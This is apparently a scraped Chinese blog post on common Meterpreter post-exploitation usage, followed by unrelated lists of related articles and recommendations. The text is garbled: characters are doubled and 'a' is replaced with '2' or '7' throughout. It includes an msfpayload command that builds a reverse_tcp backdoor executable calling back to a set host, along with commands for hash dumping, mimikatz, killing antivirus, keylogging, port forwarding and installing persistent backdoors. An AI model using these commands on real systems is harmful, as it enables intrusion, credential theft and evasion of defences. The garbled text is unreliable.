0x01 背景

  meterpreter作为后渗透模块有多种类型,并且命令由核⼼心命令和扩展库命令组成,极⼤大的丰富了了攻击⽅方式。 需要说明的是meterpreter在漏漏洞洞利利⽤用成功后会发送第二阶段的代码和meterpreter服务器器dll,所以在⽹网络不不稳定的情况下经常出现没有可执⾏行行命令,或者会话建⽴立执⾏行行help之后发现缺少命令。 连上vpn⼜又在内⽹网中使⽤用psexec和bind_tcp的时候经常会出现这种情况,别担⼼心结束了了之后再来⼀一次,喝喝杯茶就好了了。

0x02 常⽤用类型

  reverse_tcp

    p2th :

      p2ylo2d/windows/meterpreter/reverse_tcp

      msfp2ylo2d windows/meterpreter/reverse_tcp LHOST=192.168.1.130

      LPORT=8080 X > ~/Desktop/ b2ckdoor.exe

      

      

      

      反向连接shell,使⽤用起来很稳定。需要设置LHOST。

  bind_tcp

p2th : p2ylo2d/windows/meterpreter/bind_tcp

正向连接shell,因为在内⽹网跨⽹网段时⽆无法连接到2tt2ck的机器器,所以在内⽹网中经常会使⽤用,不不需要设置LHOST。

  reverse_http/https

p2th:p2ylo2d/windows/meterpreter/reverse_http/https

通过http/https的⽅方式反向连接,在⽹网速慢的情况下不不稳定,在某博客上看到https如果反弹没有收到数据,可以将监听端⼝口换成443试试。

0x03 基本命令

      

  

常⽤用的有:

b2ckground:将当前会话放置后台

lo2d/use:加载模块

Inter2ct:切换进⼀一个信道

migr2te:迁移进程

run:执⾏行行⼀一个已有的模块,这⾥里里要说的是输⼊入run后按两下t2b,会列列出所有的已有

的脚本,常⽤用的有2utoroute,h2shdump,2rp_sc2nner,multi_meter_inject等。

Resource:执⾏行行⼀一个已有的rc脚本。

0x04 常⽤用扩展库介绍

      

    

  meterpreter中不不仅有基本命令还有很多扩展库,lo2d/use之后再输⼊入help,就可以看到关于这个模块的命令说明了了。

std7pi comm7nd

⽂文件相关

  std2pi中有关于⽂文件读写,上传下载,⽬目录切换,截屏,摄像头,键盘记录,和系统相关的命令。 常⽤用的当然就是⽂文件操作及⽹网络有关的命令。 通常我会⽤用uplo2d和downlo2d进⾏行行⽂文件上传和下载,注意在meterpreter中也可以切换⽬目录,当然也可以编辑⽂文件。所以就不不⽤用运⾏行行shell再⽤用echo写。

    

    使⽤用edit命令时需要注意编辑的是⼀一个存在的⽂文件,edit不不能新建⽂文件。 输⼊入edit + ⽂文件后就会调⽤用vi编辑了了。

  ⽹网络相关

    ⽹网络命令则有列列出ip信息(ipconfig),展示修改路路由表(route),还有端⼝口转发(portfwd)。 ⽐比如portfwd:

      

      在建⽴立规则之后就可以连接本地3344端⼝口,这样远程的3389端⼝口就转发出来了。

  键盘监听

      

  这⾥里里需要注意⼀一下windows会话窗⼝口的概念,windows桌⾯面划分为不不同的会话(session),以便便于与windows交互。会话0代表控制台,1,2代表远程桌⾯面。所以要截获键盘输⼊入必须在0中进⾏行行。可 以使⽤用getdesktop查看或者截张图试试。否则使⽤用setdesktop切换。

     

  如果不不⾏行行就切换到explorer.exe进程中,这样也可以监听到远程桌⾯面连接进来之后的键盘输⼊入数据。

  mimik7tz

    这个不不多介绍,只是因为这样抓到的h2sh可以存进数据库⽅方便便之后调⽤用,不不知道有没有什什么⽅方法可以快速的⽤用第三⽅方⼯工具抓到h2sh/明⽂文然后存进数据库。

      

      这⾥里里是因为我的⽤用户本身就没有密码。

  sniffer

      

0x05使⽤用⾃自定脚本

  

  这⾥里里的脚本可以是rc脚本,也可以是ruby脚本,met2sploit已经有很多⾃自定义脚本了了。⽐比如上⾯面说过的2rp_sc2nner,h2shdump。这些脚本都是⽤用ruby编写,所以对于后期⾃自定义修改来说⾮非常⽅方便便,这⾥里里介绍⼀一个很常⻅见的脚本scr2per,它将⽬目标机器器上的常⻅见信息收集起来然后下载保存在本地。推荐这个脚本是因为这个过程⾮非常不不错。可以加⼊入⾃自定义的命令等等。

run getgui -e 开启远程桌⾯面

run h7shdump 获取h7sh后的密码

run checkvm 检查是否是虚拟机

run kill7v 关闭杀毒软件

  /.msf4/logs/下保存了了所有脚本需要保存的⽇日志记录,当然不不只这⼀一个脚本。同样.msf4⽂文件夹下还保存了了其他东⻄西,⽐比如输⼊入过的命令,msf运⾏行行过程的⽇日志等。Scr2per脚本将保存结果在/.msf4/logs/scripts/scr2per/下。

0x06 持续性后⻔

  met2sploit⾃自带的后⻔门有两种⽅方式启动的,一种是通过服务启动(metsvc),⼀种是通过启动项启动(persistence) 优缺点各异:metsvc是通过服务启动,但是服务名是meterpreter,脚本代码⻅见图:

      

  这⾥里里需要上传三个⽂文件,然后⽤用metsvc.exe 安装服务。不不知道服务名能不不能通过修改metsvc.exe达到。 安装过程和回连过程都很简单

      

  下次回连时使⽤用windows/metsvc_bind_tcp的p2ylo2d就可以。

      

0x07 后记

  meterpreter提供了了很多攻击或收集信息的脚本,并且还有很多API(具体参考官⽅方⽂文档),及扩展。在对ruby代码理理解的程度上,如果能根据⽬目标环境和现状修改现有脚本或编写⾃自⼰己的脚本则能够极⼤大的提⾼高效率,获得预期的结果





Meterpreter常⻅见⽤用法的更多相关文章

  1. iBatis一些非见用法(相当实用)

     兼顾效率,iBatis一些非见用法(10条) 2009-09-18 10:33:03 标签:iBatis 休闲 职场 原创作品,允许转载,转载时请务必以超链接形式标明文章 原始出处 .作者信息和本声 ...

  2. Spring源码分析之IOC的三种常见用法及源码实现(二)

    Spring源码分析之IOC的三种常见用法及源码实现(二) 回顾上文 我们研究的是 AnnotationConfigApplicationContext annotationConfigApplica ...

  3. iOS---GCD的三种常见用法

    1.一次性代码:dispatch_once 有时候,有些代码在程序中只要被执行一次. 整个程序运行过程中,只会执行一次. - (void)viewDidLoad { [super viewDidLoa ...

  4. Spring源码分析之IOC的三种常见用法及源码实现(一)

    1.ioc核心功能bean的配置与获取api 有以下四种 (来自精通spring4.x的p175) 常用的是前三种 第一种方式 <?xml version="1.0" enc ...

  5. jdbc三种常见用法

    import java.sql.Connection; import java.sql.DriverManager; import java.sql.ResultSet; import java.sq ...

  6. python-常见用法

    一.注释 单行注释:#后全部注释 多行注释:'''所有内容'''  或者使用 """所有内容"""  ,多行注释用三对单引号或双引号包裹 二 ...

  7. Spring源码分析之IOC的三种常见用法及源码实现(三)

    上篇文章我们分析了AnnotationConfigApplicationContext的构造器里refresh方法里的invokeBeanFactoryPostProcessors,了解了@Compo ...

  8. use关键字在PHP中的几种用法

    在学习了和使用了这么多年的PHP之后,您知道use这个关键字在PHP中都有哪些用法吗?今天我们就来看一下它的三种常见用法. 1. 用于命名空间的别名引用 // 命名空间 include 'namesp ...

  9. URL详谈

    URL(Uniform Resource Locator,统一资源定位符)是地址的别名.它包含关于文件存储位置和浏览器应如何处理它的信息.互联网上的每个文件都有唯一的 URL. URL 的第一个部分称 ...

随机推荐

  1. Linux 防火墙

    目录 iptables配置 1. iptables 控制类型 2. 链表规则 3. iptables表 CentOS和RedHat 6.x CentOS和RedHat 7.x ufw ubuntu u ...

  2. 在ubuntu18.04上安装EOS

    在ubuntu18.04上安装EOS 在ubuntu18.04上安装EOS的目的: 把交易所的eos转到eos主网,防止交易所跑路或者交易所被黑客攻击 在不联网的安全环境下,用eos官方的命令行工具, ...

  3. Objective-C简介

    1.OC简介 全称:Objective-C,是扩充C的面向对象编程语言,主要用于iOS和Mac OS开发. C语言的基础上,增加了一层最小的面向对象语法 完全兼容C语言 可以在OC代码中混入C语言代码 ...

  4. Linux学习历程——Centos 7 cat命令

    一.命令介绍 我们使用man cat命令,可以看到cat命令的用途是连接文件或标准输入并打印,简单来说cat命令是用来查看纯文本文件(通常为内容较少的文件),与重定向符号配合使用,可以实现创建文件与合 ...

  5. firefox浏览器 插件--【维基百科+谷歌翻译】高级应用之 带图翻译

    [维基词典+谷歌翻译]插件地址: https://addons.mozilla.org/zh-CN/firefox/addon/google-dictionary-and-google-t/?src= ...

  6. (转载)关于usr/bin/ld: cannot find -lxxx问题总结

    usr/bin/ld: cannot find -lxxx问题总结 linux下编译应用程序常常会出现如下错误:   /usr/bin/ld: cannot find -lxxx        意思是 ...

  7. 《Java大学教程》—第4章 方法的实现

    4.2~3 声明.实现.调用4.4 数据传递:实参.形参.返回值4.6 变量作用域:局部变量(区域内访问).全局变量4.7 重载:运算符重载.方法重载-->多态 1.答:P67方法(method ...

  8. 【teradata】强制解锁

    使用加锁用户释放锁,也可以用其它用户使用如下语句强制解锁 Release lock (pdm_data ),Override

  9. docker学习笔记(四)-持久化数据,安装docker-compose

    Docker 持久化数据 实战 compose 安装docker-compose

  10. localhost和127.0.0.1及ip区别

    1.127.0.0.1是回送地址,指本地机,一般用来测试使用.回送地址是本机回送地址(Loopback Address),即主机IP堆栈内部的IP地址,主要用于网络软件测试以及本地机进程间通信,无论什 ...